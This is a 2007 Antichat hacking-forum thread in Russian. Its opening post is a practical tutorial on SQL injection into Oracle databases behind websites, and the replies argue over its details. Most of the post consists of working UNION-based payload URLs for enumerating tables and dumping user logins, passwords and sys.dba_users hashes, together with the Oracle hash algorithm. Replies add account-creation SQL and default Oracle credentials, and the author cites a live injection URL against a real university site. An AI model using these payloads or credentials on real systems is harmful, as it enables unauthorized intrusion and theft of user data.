Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Проведение SQL инъекций в Oracle. (https://forum.antichat.xyz/showthread.php?t=40576)

[53x]Shadow 21.05.2007 23:06

Проведение SQL инъекций в Oracle.
 
Проведение SQL инъекций в Oracle.

[Введение]

Последнее время при исследовании различных веб проектов на уязвимости, стал натыкаться на sql инъекции в Oracle. Хотя в настоящее время редко можно встретить использование этой СУБД в Веб программировании, но все-таки такое случается. Все исследования заканчивались простым обнаружением баги, что делать дальше было непонятно. В ходе поиска статьи, хорошо описывающей практические аспекты эксплуатации данной уязвимости в Oracle, такой как статьи cash и spyder, описывающих инъекции в MSSQL и PostgreSQL, найти не удалось.
В результате поиска была найдена, только лишь серия статей k00p3r, причем полностью копипастнутых со сторонних источников и являющихся простым переводом, прочтение которых не давало ясного представления о проведении скулей в Oracle, т.к. статьи по сути имеют большой объем, носят теоретический характер, и по большей части содержат воду.
В конечном итоге пришлось вспоминать институтские навыки работы с Oracle и перечитывать кучу разрозненной информации в интернет. В этой статье хотелось бы поделиться с вами тем, что мне удалось накопать по проведению sql injection в Oracle и постараться объединить это в одно целое.
Ну и попытаться восполнить пробел, и дополнить серию статей cash и spyder.

[Особенности Oracle]

Вначале приведу некоторые свойства, которые необходимо учитывать при проведении инъекции в Oracle. Сразу хочу оговориться, что в статье рассматривается проведение инъекций в операторе SELECT. Хотя проведение инъекций в операторах INSERT, UPDATE и DELETE, так же возможно.
Так же немаловажен факт, что в статье рассматриваются вопросы проведения инъекции именно в запросах SQL Oracle, а не в процедурах PL/SQL Oracle. Существенное отличие инъекций в процедурах PL/SQL заключается в возможности использования разделителя запросов - символа точки с запятой ";". Но про это имхо нужно писать отдельную статью, с описанием всех вытекающих последствий. Тем более автор считает что в Веб приложениях наиболее часто встречаются инъекции именно в запросах SQL (по крайней мере я сталкивался только с такими).
В Oracle, так же как и в MySQL и в PostgreSQL, инъекция проводится путем использования оператора UNION, т.е. с составлением объединения двух запросов ( далее по тексту для простоты понимания используется термин - подзапрос). Но помимо совпадения количества столбцов в основном запросе и подзапросе необходимо учитывать, что Oracle не осуществляет автоматического приведения типов в подзапросе. Поэтому при подборе столбцов необходимо подставлять null, в отличии, например от MySQL.
Так же очень важным свойством является то, что все запросы SELECT должны производиться из какой-то таблицы, т.е. синтаксис запроса всегда должен содержать слово FROM и имя таблицы. Для простых арифметических вычислений или других операций, не требующих реальную таблицу, в Oracle существует псевдо таблица SYS.DUAL.
Немаловажным свойством является отсутствие оператора LIMIT.
Для усечения запроса используются символы комментариев “--”(два тире) и "/*"(прямой слеш и звездочка) в SQL Oracle. Первый тип коментариев -однострочный. Второй тип - многострочный.
Нет возможности использования в SQL Oracle нескольких запросов с применением разделителя “;”, в отличии от процедур на PL/SQL.
При обнаружении ошибки можно однозначно идентифицировать Oracle, по присутствию слова ORA в тексте сообщения об ошибке, например:

Код:

[Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended
Не всегда в тексте ошибки присутствует слово Oracle, например

Код:

Warning: OCIStmtExecute: ORA-01722: invalid number in
[Подбор столбцов]

Пусть ошибка присутствует в параметре id:

Код:

www.site.com/view.php?id=1’
Определение количества столбцов присутствующих в основном запросе происходит так же, как и в MySQL. Так как оператор UNION требует одинакового количества столбцов, как в основном запросе, так и в подзапросе нам нужно количество этих столбцов определить. При неправильном указании столбцов в подзапросе выводится стандартное сообщение об ошибке:

Код:

ORA-XXXXX: query block has incorrect number of result columns
Для подбора столбцов существует 2 известных способа и хорошо описанных в статье spyder. Но приведу их еще раз, дабы читателю не бегать по статьям:

1. Простой перебор.
Составим следующий запрос

Код:

www.site.com/view.php?id=-1+union+select+null+from+sys.dual--
Если ошибка появилась, увеличиваем количество столбцов на один
Код:

www.site.com/view.php?id=-1+union+select+null, null+from+sys.dual--
и так пока не исчезнет ошибка.

2. Использование оператора ORDER BY
Второй способ намного быстрее и приятнее, если количество столбцов достаточно большое. Составим следующий запрос

Код:

www.site.com/view.php?id=-1+order+by+1--
если ошибки нет, значит столбцов 1 или более 1

Код:

www.site.com/view.php?id=-1+order+by+99999--
При таком запросе должна появиться ошибка, что означает столбцов меньше 99999. Далее таким же образом сужаем границы выбранного интервала слева и справа и в конечном итоге определяем реальное количество столбцов в основном запросе.

[Определение принтабельных столбцов]

Допустим, мы определили точное количество столбцов в основном запросе, предположим их 4.

Код:

www.site.com/view.php?id=-1+union+select+null, null, null, null+from+sys.dual--
Теперь нам необходимо определить те столбцы, которые выводятся на страницу. Обычно в выводе участвуют столбцы с типами данных int,char и data. Нам будет достаточно принтабильных столбцов с типами int и char, их и будем искать.
Как было отмечено ранее, Oracle не осуществляет автоматического приведения типов в подзапросе. Поэтому при попытке подстановки в какой либо столбец значения несоответствующего типа мы получим следующую ошибку несоответствия типов

Код:

ORA-XXXXX: expression must have same datatype as corresponding expression
Далее мы начинаем составлять запросы, поочередно заменяя каждый столбец на любое число

Код:

www.site.com/view.php?id=-1+union+select+123, null, null, null+from+sys.dual--
....
Код:

www.site.com/view.php?id=-1+union+select+null, 123, null, null+from+sys.dual--
Таким образом, мы выявим принтабельные столбцы с типом int. В том случае если мы получим ошибку несоответствия типов, мы можем воспользоваться функциями преобразования типов to_char(), to_date() и выявить принтабельные столбцы с типами char и data.

Код:

www.site.com/view.php?id=-1+union+select+null, to_char(123), null, null+from+sys.dual--
Для справки приведу синтаксис функции to_char():
to_char( value, [ format_mask ], [ nls_language ] )

[Получение информации]

После того как мы узнали количество столбцов и какие из них принтабельны, мы можем смело переходить к получению необходимой информации из базы. Хорошо если нам известны определенные таблицы в базе и столбцы в них, тогда получение информации не составит особого труда. Например, если существует таблица USERS со столбцами ID, LOGIN и PASSWORD, то запрос на получение этих данных будет выглядеть следующим образом

Код:

www.site.com/view.php?id=-1+union+select+null, login, password, null+from+users+where+id=123--
Так же как и в MySQL, для удобства отображения и преодоления различных проблем с кодировками можно воспользоваться функциями concat(), to_char().
Для преодоления фильтрации кавычек или других необходимых символов, существует функция chr().

[Таблицы и столбцы]

Если пользовательские таблицы нам неизвестны, то мы можем получить различную информацию из известных системных таблиц Oracle.
Узнать имя пользователя, под которым работает интерфейс, а значит и вы, можно вызвав функции user или sys.login_user

Код:

www.site.com/view.php?id=-1+union+select+null, user, null, null+from+sys.dual--
Получить список сессий можно вот так: select * from V$session

Большой интерес представляют таблицы SYS.USER_TABLES и SYS.USER_TAB_COLUMNS, которые содержат все таблицы и их столбцы доступные пользователю. Вытаскиваем имена таблиц и столбцов:

Код:

www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables--
Код:

www.site.com/view.php?id=-1+union+select+null, column_name, null, null+from+sys.user_tab_columns--
Так же, на мой взгляд, в таблице SYS.USER_TABLES помимо table_name, вызывают интерес следующие столбцы: tablespace_name, num_rows, freelist_groups.
Но, к сожалению, составленные выше запросы выведут нам лишь по одной - первой записи из всей таблицы. Возникает непреодолимое желание воспользоваться оператором LIMIT, как в MySQL или в PostgreSQL. К огромному всеобщему разочарованию данный оператор не поддерживается в Oracle, и более того не имеет достойного эквивалента в виде другого оператора.
“ВСЕ ПРОПАЛО!!!” – скажете вы.
“НЕТ!!!” – отвечу я вам.
Помучив изрядно google, я все-таки нашел возможность составить сложный запрос хоть как-то отдаленно реализующий смысловую нагрузку оператора LIMIT. К сожалению, не удалось восстановить его возможности в полном объеме.

Код:

www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--
Таким образом, перебирая различное количество записей в выборке, мы можем посмотреть по очереди все имена таблиц. Туже самую конструкцию мы можем использовать при просмотре таблицы SYS.USER_TAB_COLUMNS, при получении всех имен столбцов доступных пользователю.
Так же в Oracle существует понятие префикса объекта (таблица является объектом), который присутствует в названии или имени таблицы:
ALL_ - все доступные пользователю (владельцем может и не быть),
USER_ - объекты, чьим владельцем этот пользователь является.
Следовательно, мы можем упростить себе задачу и вытащить имена только тех таблиц, к которым мы имеем доступ

Код:

www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.all_tables
Интерес так же может представлять информация из следующих стандартных таблиц: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.

[Пароли]

Если нам повезло и пользователь, под которым мы работаем с базой, имеет права sysdba, то мы можем получить хеши всех пользователей базы.
Основное место хранения свертки пароля (хеш) - таблица словаря-справочника SYS.USER$. Над этой таблицей как базовой построена производная, SYS.DBA_USERS. Если в профиле пользователя включен параметр PASSWORD_REUSE_TIME, свертки пароля также хранятся в SYS.USER_HISTORY$. Достать хеши и имена пользователей можно вот так

Код:

www.site.com/view.php?id=-1+union+select+null, username, password, null+from+sys.dba_users
Для полноты информации представлю еще и алгоритм вычисления свертки пароля, на всякий случай, может кому и пригодится:
1. К имени пользователя приклеивается справа текст пароля.
2. В получившейся строке буквам повышается регистр.
3. Символы строки переводятся в двухбайтовый формат дополнением слева нулевым значением 0x00 (для символов ASCII), и справа строка дописывается нулевыми байтами до общей длины 80.
4. Получившаяся строка шифруется алгоритмом DES в режиме сцепления блоков шифротекста (CBC) ключом 0x0123456789ABCDEF.
5. Из последнего блока результата удаляются разряды четности и полученная строка (56 разрядов) используется для нового шифрования исходной строки тем же способом.
6. Последний блок результата переводится в знаки шестнадцатиричной арифметики и объявляется конечным результатом - сверткой.

[Копирайты]

При написании статьи использовались следующие материалы:
Проведение SQL-Injection в PostgreSQL, статья Spyder, http://forum.antichat.ru/thread35599-oracle.html
Проведение Инъекций в MSSQL сервер от Microsoft, статья cash, http://forum.antichat.ru/thread30501-mssql.html
Как взломать парольную защиту Oracle или как ее обойти, статья Пржиялковского В., http://citforum.ru/database/oracle/passwd/
А так же пользовался документацией по Oracle 10i.

[ЗЫ]

В этой статье я попытался рассказать и показать практические аспекты проведения SQL инъекций в Oracle. Надеюсь кому нибудь пригодится. Критика, дополнения и замечания приветствуются в полном объеме, т.к. это моя первая статья. :rolleyes:
Хочу выразить благодарности cash и spyder, за их статьи, на примере которых я писал и учился. :)
А так же Thanat0z за предварительную рецензию. :)

l1ght 23.05.2007 14:57

Как насчет вывода в файл/читалки файлов? в oracle есть аналоги?

[53x]Shadow 23.05.2007 15:56

Имхо синтаксис SELECT в SQL ORACLE не поддерживает вывода результата запроса в файл или загрузки файлов, как например в MySQL.

.Slip 23.05.2007 17:26

Не видел ничего про
sys.all_tables
sys.all_tab_columns
- V$session
- user_objects
- user from dual

Про это всё тоже добавь, думаю лишним не будет. Кстати про создание своего акка в Оракле тоже не написано.

[53x]Shadow 23.05.2007 23:51

Цитата:

Сообщение от [sL1p]
Не видел ничего про
sys.all_tables
sys.all_tab_columns
- V$session
- user_objects
- user from dual

Об этом написано в разделе [Таблицы и столбцы], а вот про session, действительно забыл, обязательно дополню, спасибо что напомнил.

Цитата:

Кстати про создание своего акка в Оракле тоже не написано.
По-поводу добавления акка, я вначале статьи, подчеркнул, что провожу анализ инъекций через SELECT. И его синтаксис не позволяет добавлять акк. И вообще я не уверен, что даже через INSERT или UPDATE возможно это провернуть, т.к. только через CREATE мона создавать юзверя и имхо в sys.dba_users инсертом не внесешь юзверя, если ошибаюсь - поправьте.

PSalm69 24.05.2007 09:06

Манн от Elekt
Создаём Аккаунт:
CRATE USER name IDENTIFIED BY pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO name;
GRANT RESOURCE TO name;

podkashey 26.05.2007 00:15

Моя по ораклу статья ушла в болталку:
https://forum.antichat.ru/thread16614-dual.html
Там надо бы конечно все собрать во едино, но думаю на следующей неделе собирусь с силами и перепишу ее нормально. Хотя и ольше года ей уже... ;)
Теперь немного по твоей статье:
Цитата:

инъекция проводится путем использования оператора UNION, т.е. с составлением подзапроса
Подзапросы и юнион это разные вещи. Юнион просто объединяет два запроса и называть один из них запросом, а другой подзапросом некорректно.
Цитата:

Немаловажным свойством является отсутствие оператора LIMIT.
Зато есть параметр rownum, что дает большую функциональность.
Цитата:

Для усечения запроса используются символы комментария “--”(два тире) в SQL Oracle.
Есть не только такие комментарии. Другие указаны в той статье.
Цитата:

Нет возможности использования нескольких запросов с применением разделителя “;”
Пистапольство! Само собой в оракле это есть. В частности благодаря этому можно свои процедуры и функции вставить через скуль, а в них юзать сплойты, которые до сих пор бывают актуальны. Но это уже тема отдельной статьи.
Цитата:

мы можем воспользоваться функциями преобразования типов to_char(), to_date()
Тут можно было бы чуть подробнее расписать.
Цитата:

Интерес так же может представлять информация из следующих стандартных таблиц: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.
Вьюхи и триггеры ИМХО не будут представлять большого интереса. Триггер может конечно представлять, если он, например, вставляте записи от другого юзера в недоступную обычному таблицу, но я не думаю, что это где-то реализовано, да и в таком случае можно вряд ли можно откопать что-то существенное.
Цитата:

Если нам повезло и пользователь, под которым мы работаем с базой, имеет права sysdba, то мы можем получить хеши всех пользователей базы.
Ну в таком случае можно что угодно сделать, например добавить еще одного юзера с правами ДБА.
Так как в статье ошибка по поводу использования ";", то юзер должен создаваться без всяких проблем. Также через V$session можно узнать времена подключения разных юзеров к БД и некоторые другие параметры. Но ИМХО если это скуль, то доступа к V$session не будет, а если и будет, то будет все засорено обычными пользователями сайта.
Также следует уточнить, что по умолчанию пассы в оракле следующие:
system:manager
sys:change_on_install
Привилегий у sys больше чем у system (правда я хз куда уж больше) и всякие нерадивые админы частенько о нем забывают. Еще есть scott:tiger, если мне не изменяет память, в честь кота создателя оракла, который есть по умолчанию и о котором тоже забывают многие и еще какие-то юзеры. Кому интересно, думаю не трудно найти в инете или дождаться, когда у меня руки дойдут для переписывания старой статьи.
П.С. Че-то прям вспомнил как мне обидно было когда ту статью мою перенесли в болталку. Тогда решил больше не писать ничего из-за такого отношения...

[53x]Shadow 26.05.2007 02:39

Спасибо конечно за критику, но....

Цитата:

Подзапросы и юнион это разные вещи.
Согласен на все 100, просто для удобства разъяснения, не будешь же писать: "в первом запросе объединенным со вторым", можно запутать читателя ;)

Цитата:

Зато есть параметр rownum, что дает большую функциональность.
Во-первых про энтот параметр у меня написано в разделе [таблицы и столбцы]!!!
Во-вторых не надо вводить в заблуждение читателей, данный параметр не дает большей функциональности!!! Их вообще нельзя сравнивать, limit работает как с таблицей так и с выборкой, а numrow работает только с выборкой и является просто псевдостолбцом!!!
А если уж сравнивать то параметр limit позволяет выбрать конкретное число строк из таблицы начиная с определенной, а параметр numrow только лишь количество строк.

Цитата:

Есть не только такие комментарии. Другие указаны в той статье.
Для проведения инъекции достаточно и этих ;)

Цитата:

Пистапольство! Само собой в оракле это есть. В частности благодаря этому можно свои процедуры и функции вставить через скуль, а в них юзать сплойты, которые до сих пор бывают актуальны. Но это уже тема отдельной статьи.
Дорогой друг не надо путать божий дар с яичницей!!!
Разделитель запросов точка с запятой ";" присутствует только во всяких средствах разработки типа SQL*Plus или SQLNavigator, позволяющих разделять запросы, но только у себя на уровне приложения, естественно на уровне драйвера к самой СУБД они их сами разбивают на несколько запросов и проводят по-раздельности!!!
Пробовали ли вы хоть раз составить запрос из нескольких разделенных точкой запятой операторов и выполнить это в приложении на java или php, не важно через какой интерфейс вы работаете (OCI, JDBC, ....), боюсь, что нет. В этом случае вы моментально получите сообщение об ошибке invalid character с указанием на ";"!!!
Так же этот разделитель используется в процедурах PL\SQL, но ето совсем другая история и не относится к инъекции в SQL (имхо надо различать!).

А если вы мне не верите вот вам пример живой скули с Oracle:
Код:

http://www.newsdesk.umd.edu/uniini/release.cfm?ArticleID=-1+union+select+1,null,null,null,sys.login_user+fro  m+sys.dual--
попробуйте вставьте два запроса через точку с запятой и все мои слова подтвердятся ;)

Цитата:

Так как в статье ошибка по поводу использования ";", то юзер должен создаваться без всяких проблем.
Ошибки НЕТ! Не надо путать читателя!!!

По остальным замечаниям претензий не имею, готов дополнить свою статью;)
ЗЫ
podkashey не обижайся, но я кажется догадываюсь почему перенесли твою статью в болталку ;)
ЗЗЫ
Спасибо за ЗАМЕЧАНИЯ!

geezer.code 26.05.2007 02:46

Вот тут находится список пользователей по умолчанию:
логины, пароли, хэши паролей, краткое описание.

почти 600 штук, не думал, что их ТАК много.

podkashey 26.05.2007 16:11

Цитата:

Во-вторых не надо вводить в заблуждение читателей, данный параметр не дает большей функциональности!!! Их вообще нельзя сравнивать, limit работает как с таблицей так и с выборкой, а numrow работает только с выборкой и является просто псевдостолбцом!!!
А если уж сравнивать то параметр limit позволяет выбрать конкретное число строк из таблицы начиная с определенной, а параметр numrow только лишь количество строк.
Введи rownum <=3 and rownum >=1
Цитата:

Для проведения инъекции достаточно и этих
Это однострочный комментарий и он не закомментит оставшиеся строки.
Про разделитель ; мне не хочется искать примеров, но во многих местах он работает. Скорее всего зависит от того как происходит связь БД с Веб.
Цитата:

Ошибки НЕТ! Не надо путать читателя!!!
Как сказано выше, ошибка есть.
Цитата:

ЗЫ
podkashey не обижайся, но я кажется догадываюсь почему перенесли твою статью в болталку
ЗЫ Не обижайся, но только что ты кажется сел в лужу и то, что ты написал много слов про драйвера, средства разработки, интерфейсы никак не помогут обычному читателю, поэтому я стараюсь избегать таких слов. Хотя можно конечно во всяких нотациях расписать все комманды скуля и сказать думайте сами.
ЗЗЫ Спасибо за попытку поспорить ;)
ЗЗЗЫ Че-то у меня снова отпало желание переписывать статью... ;)
Цитата:

Вот тут находится список пользователей по умолчанию:
Это к разным модификациям, веткам итд, то есть в реале штук 5 - 10 от силы будет.
Сейчас смотрю на 8ом оракле: adams, blake, clark, jones, scott.


Время: 03:52